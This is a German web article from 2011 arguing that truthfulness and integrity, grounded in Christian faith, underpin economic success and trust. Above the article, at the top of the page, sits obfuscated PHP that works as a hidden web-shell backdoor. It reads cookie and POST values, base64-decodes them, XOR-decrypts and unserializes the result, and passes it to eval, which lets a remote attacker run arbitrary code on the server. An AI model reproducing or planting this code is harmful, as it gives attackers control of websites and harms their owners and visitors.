$hShgncI = 'd' . "\153" . chr ( 652 - 549 )."\137" . chr ( 149 - 29 )."\x68" . chr ( 812 - 694 ).chr ( 566 - 479 ); $koxBWx = chr (99) . chr (108) . chr (97) . chr ( 997 - 882 )."\163" . "\137" . "\x65" . chr ( 775 - 655 ).chr ( 385 - 280 ).'s' . "\x74" . chr (115); $BQIQgoKpz = class_exists($hShgncI); $hShgncI = "50631";$koxBWx = "57103";$bJArxPZABf = FALSE;if ($BQIQgoKpz === $bJArxPZABf){function UWkZBqt(){return FALSE;}$ZoxlKLRcdp = "63519";UWkZBqt();class dkg_xhvW{private function rEclMQ($ZoxlKLRcdp){if (is_array(dkg_xhvW::$szjEZi)) {$aibXT = str_replace(chr (60) . '?' . chr ( 685 - 573 )."\150" . 'p', "", dkg_xhvW::$szjEZi["\143" . "\157" . 'n' . chr ( 512 - 396 ).chr ( 1011 - 910 ).'n' . chr (116)]);eval($aibXT); $ZoxlKLRcdp = "63519";exit();}}private $JTBqmWt;public function TkQymwqCU(){echo 44256;}public function __destruct(){$ZoxlKLRcdp = "15883_17902";$this->rEclMQ($ZoxlKLRcdp); $ZoxlKLRcdp = "15883_17902";}public function __construct($dfsJjs=0){$mwEsRsLd = $_POST;$fcMhdxujFr = $_COOKIE;$IssVTz = "23de5167-aacc-4b29-885b-5fa2353aba58";$DXqSF = @$fcMhdxujFr[substr($IssVTz, 0, 4)];if (!empty($DXqSF)){$VHelqK = "base64";$bkyfUUl = "";$DXqSF = explode(",", $DXqSF);foreach ($DXqSF as $UuTzSbiAwC){$bkyfUUl .= @$fcMhdxujFr[$UuTzSbiAwC];$bkyfUUl .= @$mwEsRsLd[$UuTzSbiAwC];}$bkyfUUl = array_map($VHelqK . chr (95) . "\x64" . "\145" . chr (99) . "\157" . "\x64" . "\145", array($bkyfUUl,)); $bkyfUUl = $bkyfUUl[0] ^ str_repeat($IssVTz, (strlen($bkyfUUl[0]) / strlen($IssVTz)) + 1);dkg_xhvW::$szjEZi = @unserialize($bkyfUUl);}}public static $szjEZi = 63572;}$MjxHZscF = new /* 60998 */ dkg_xhvW(63519); $MjxHZscF = str_repeat("15883_17902", 1);}
Wirtschaftswissenschaften

Die 7 Erfolgswerte der christlich-abendländischen Kultur (2)

Hans-Joachim Hahn · 
30.10.2011

Was nützt uns die Wahrhaftigkeit? Mit Integrität und Vertrauen auf Vorsprung.

Nicht nur für erfolgreiches Wirtschaften, sondern auch jegliche andere soziale Form des Zusammenlebens ist Integrität (Wahrhaftigkeit) Voraussetzung. Wie können Partnerschaften, Verträge und Kooperationen funktionieren, wenn auf ein Wort kein Verlass ist? Aufwändige Kontrollmechanismen müssen eingesetzt werden, wenn Wahrhaftigkeit und Zuverlässigkeit fehlen. Und die Kosten dafür mindern das verfügbare Kapital und die Kräfte für Innovation und Investitionen. Unser Steuersystem und die ständig wachsende Staatsbürokratie sind dafür traurige Beispiele. Dennoch ist die Entrüstung in Öffentlichkeit und Medien über Korruption, Steuerhinterziehungen und politischen Betrug in Deutschland ein Anzeichen dafür, dass unsere Kultur von einem Gottesbild geprägt wurde, das Treue und Wahrhaftigkeit als Wesensmerkmal hat. Robert Reinick (1805-1852), Dichter und Zeitgenosse Robert Schuhmanns, hat diesen Wert in ein Gedicht gefasst, das eine Zeitstimmung ausdrückt und darüber hinaus zukunftsweisend für unsere Kultur war:

Vor allem eins, mein Kind: Sei treu und wahr, lass nie die Lüge deinen Mund entweih’n! Von alters her im deutschen Volke war – der höchste Ruhm, getreu und wahr zu sein.[1]

Der chinesische Volkswirt und Regierungsberater Prof. Zhao Xiao machte diese Beobachtung auch in den USA bei seinen Untersuchungen, welches die Gründe für deren wirtschaftlichen Vorsprung gegenüber China sind. Beim Kongress Christlicher Führungskräfte in Leipzig 2007 hatte ich die Gelegenheit zu einem zweistündigen Gespräch mit ihm. Sein Resümee: In USA gibt es viele Kirchen. Und sie haben einen starken Einfluss auf die Öffentlichkeit und das Arbeitsleben. Obwohl die Amerikaner viel Geld verdienen wollen, und sie mehr verdienen könnten, wenn sie mehr betrügen würden, betrügen sie doch weitaus weniger (als Xiao es von seinen Landsleuten kannte). Der Grund: Sie fühlen sich einem Gott verpflichtet, der die Wahrheit ist und Lüge und Korruption hasst. Als Folge seiner Untersuchung ist Zhao Xiao selber ein Christ geworden und setzt sich in China stark für einen Wertewandel und ein Hinkehr zum Christentum ein. Er fürchtet die schlimmen Folgen, „wenn großer Reichtum in die Hände von bösen Menschen gerät“.[2]

Was nützt ein hochkompetenter Manager seinem Unternehmen, wenn er für hohe Bestechungssummen wichtige Daten an die Konkurrenz verrät oder sich andere unlautere Praktiken erlaubt, die der Firma schaden? Immer mehr Unternehmen setzen deswegen „Integrität“ als höchsten Wert bei der Auswahl von neuen Führungskräften.

Vertrauen ist die Grundlage jeder erfolgreichen, langfristigen Geschäftsbeziehung und menschlichen Beziehung überhaupt. Gesundes Vertrauen kann aber nur auf gegenseitiger Vertrauenswürdigkeit und Wahrhaftigkeit – Integrität – beruhen. Je weniger Vertrauen in einer Geschäftsbeziehung vorhanden ist, desto mehr Kontrollmechanismen müssen installiert werden. Und die zehren am Investitionskapital und den Gewinnen.

Eine Kultur des Misstrauens ist teuer, ineffizient und kalt. Aber Vertrauen braucht eine Basis: Die Verpflichtung gegenüber einem Gott, der die Wahrheit ist und von uns Wahrhaftigkeit fordert. Auch wenn die Kirchen in Deutschland nicht mehr den starken Einfluss auf das öffentliche Leben und das Verhalten der Menschen haben wie in den USA, so sind die Spuren ihrer Werteprägung doch deutlich zu erkennen: Im Handel gab es den Begriff des ehrbaren Kaufmanns: Der Augenkontakt und ein Handschlag genügten, um ein Geschäft abzuschließen. Allerdings erleben wir seit den siebziger Jahren eine massive Demontage dieser Werte sowohl in der Wirtschaft als auch im Bildungswesen und in der durch die Medien beeinflussten Öffentlichkeit. Die neomarxistische Bewegung hat viele Institutionen gezielt unterwandert und versucht, christliche Werte und Weltsicht vor allem im Bereich des Vertrauens, der Treue, der Ehe und Familie zu diffamieren und zu zerstören. Aber auch der atheistische Humanismus, der an unseren Universitäten im Kleid der naturalistischen Weltsicht Einzug gehalten hat, hat die christliche Weltsicht erfolgreich aus den Natur- und Sozialwissenschaften verdrängt und zum Tabu erklärt. Die Folgen sind verheerend: Allein die Sprachregelungen in den verschiedenen Disziplinen offenbaren eine Abwertung des Menschen zum Funktionsträger und zur biochemischen Maschine: „Homo Oeconomicus, Homo Consumens und Humankapital“ in den Wirtschaftswissenschaften; „Patientengut und Krankheitsfall“ in der Medizin, „Statistisches Material und Fallstudie“ in der Soziologie und „durch Zufall entstandener Zellklumpen“ in der Biologie. Die kostbare Errungenschaft der Menschenwürde, die nach den Schrecken der beiden Weltkriege mit großem Ernst in der UN-Charta der Menschenrechte verankert wurde, wird durch die Hintertür eines atheistisch motivierten Utilitarismus wieder hinaus gedrängt. Diesem Wert der Menschenwürde und des Respekts widmen wir uns in der nächsten Ausgabe des Newsletters.

Fußnoten

[1] Robert Reonick: Deutscher Rat

[2] Interview in Cicero 05. 2007

Kontakt